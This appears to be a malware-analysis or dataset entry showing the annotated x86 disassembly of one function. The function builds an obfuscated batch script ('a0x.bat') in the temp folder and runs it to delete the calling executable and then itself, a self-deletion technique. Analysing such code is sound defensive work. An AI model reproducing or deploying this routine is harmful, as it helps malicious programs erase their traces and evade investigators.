Function at 0x4010f2
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xaa4
push ebx
push esi
push edi
xor ebx, ebx
push 0x64
lea eax, [ebp - 0x6c]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov esi, 0x208
lea eax, [ebp - 0x278]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x480]
push ebx
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0xaa4]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x41a
lea eax, [ebp - 0x89c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x3c
mov word [ebp - 0x278], 0x61
mov word [ebp - 0x276], 0x30
mov word [ebp - 0x274], 0x78
mov word [ebp - 0x272], 0x2e
mov word [ebp - 0x270], 0x62
mov word [ebp - 0x26e], 0x61
mov word [ebp - 0x26c], 0x74
mov word [ebp - 0x26a], bx
mov byte [ebp - 0x6c], 0x3a
mov byte [ebp - 0x6b], 0x6c
mov byte [ebp - 0x6a], 0x6f
mov byte [ebp - 0x69], 0x6f
mov byte [ebp - 0x68], 0x70
mov byte [ebp - 0x67], 0xd
mov byte [ebp - 0x66], 0xa
mov byte [ebp - 0x65], 0x44
mov byte [ebp - 0x64], 0x45
mov byte [ebp - 0x63], 0x4c
mov byte [ebp - 0x62], 0x20
mov byte [ebp - 0x61], 0x25
mov byte [ebp - 0x60], 0x31
mov byte [ebp - 0x5f], 0xd
mov byte [ebp - 0x5e], 0xa
mov byte [ebp - 0x5d], 0x49
mov byte [ebp - 0x5c], 0x46
mov byte [ebp - 0x5b], 0x20
mov byte [ebp - 0x5a], 0x45
mov byte [ebp - 0x59], 0x58
mov byte [ebp - 0x58], 0x49
mov byte [ebp - 0x57], 0x53
mov byte [ebp - 0x56], 0x54
mov byte [ebp - 0x55], 0x20
mov byte [ebp - 0x54], 0x25
mov byte [ebp - 0x53], 0x31
mov byte [ebp - 0x52], 0x20
mov byte [ebp - 0x51], 0x47
mov byte [ebp - 0x50], 0x4f
mov byte [ebp - 0x4f], 0x54
mov byte [ebp - 0x4e], 0x4f
mov byte [ebp - 0x4d], 0x20
mov byte [ebp - 0x4c], 0x6c
mov byte [ebp - 0x4b], 0x6f
mov byte [ebp - 0x4a], 0x6f
mov byte [ebp - 0x49], 0x70
mov byte [ebp - 0x48], 0xd
mov byte [ebp - 0x47], 0xa
mov byte [ebp - 0x46], 0x44
mov byte [ebp - 0x45], 0x45
mov byte [ebp - 0x44], 0x4c
mov byte [ebp - 0x43], 0x20
lea eax, [ebp - 0x480]
mov edi, 0x104
push eax
push edi
mov byte [ebp - 0x42], 0x25
mov byte [ebp - 0x41], 0x32
mov byte [ebp - 0x40], bl
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, dword [sym.imp.MSVCRT.dll_wcscat]
lea eax, [ebp - 0x278]
push eax
lea eax, [ebp - 0x480]
push eax
call esi
pop ecx
lea eax, [ebp - 0x480]
pop ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x70]
push ebx
push eax
lea eax, [ebp - 0x6c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0xaa4]
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, dword [sym.imp.MSVCRT.dll_wcslen]
lea eax, [ebp - 0xaa4]
push eax
call edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x480]
push eax
call edi
mov dword [ebp - 8], eax
lea eax, [ebp - 0xaa4]
push eax
lea eax, [ebp - 0x89c]
push eax
mov word [ebp - 0x89c], 0x22
call esi
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x480]
push eax
lea eax, [ebp - 0x89c]
mov word [ebp + edi*2 - 0x89a], 0x22
mov word [ebp + edi*2 - 0x898], 0x20
push eax
mov word [ebp + edi*2 - 0x896], 0x22
call esi
mov eax, dword [ebp - 8]
add esp, 0x18
add eax, edi
push ebx
push ebx
mov word [ebp + eax*2 - 0x894], 0x22
lea eax, [ebp - 0x89c]
push eax
lea eax, [ebp - 0x480]
push eax
push 0x407010
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret